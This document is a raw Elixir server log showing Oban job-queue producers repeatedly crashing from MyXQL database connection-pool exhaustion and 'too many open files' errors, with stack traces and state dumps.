State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:46:53.240205Z], limit: 10, uuid: "e883eafe-d2ee-4a33-a55c-760d738ad21c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:53.240210Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.221537>, refresh_timer: #Reference<0.2525715032.1068498948.77558>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:05.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:46:53.239996Z], limit: 3, uuid: "a033f486-fe8f-4f13-907b-7c73440038ce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:53.240002Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.221535>, refresh_timer: #Reference<0.2525715032.1099431938.68811>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:46:53.238247Z], limit: 20, uuid: "c4587f6a-6a75-4ad1-b781-5202eef086cd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:53.238256Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.221536>, refresh_timer: #Reference<0.2525715032.1068498948.77513>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:46:53.239724Z], limit: 5, uuid: "327acbf7-2e54-4081-a0a6-8eb8977928ac", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:53.239734Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.221534>, refresh_timer: #Reference<0.2525715032.1099431938.68803>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:12.460000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:12.992000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:13.236000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:18.001000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:47:05.240924Z], limit: 20, uuid: "663aa3cd-c832-456a-af09-728cfdac0370", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:05.240930Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.77757>, refresh_timer: #Reference<0.2525715032.1068498948.77751>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:47:05.240209Z], limit: 5, uuid: "a7518a04-fd5c-4350-b99c-3eb1d37dc7da", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:05.240214Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.54487>, refresh_timer: #Reference<0.2525715032.1077673987.54470>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:47:05.239063Z], limit: 50, uuid: "ecc3c36b-c1ef-4ac4-931f-f5305d237925", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:05.239070Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.221938>, refresh_timer: #Reference<0.2525715032.1099431938.68867>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1890ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:47:05.240198Z], limit: 3, uuid: "071d2199-1c51-426d-9e9b-504eec3c49e7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:05.240204Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.221939>, refresh_timer: #Reference<0.2525715032.1099431938.68866>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:47:05.242244Z], limit: 5, uuid: "bd8f090a-8696-4056-b281-f65230dc3d32", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:05.242249Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.221937>, refresh_timer: #Reference<0.2525715032.1099431938.68891>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
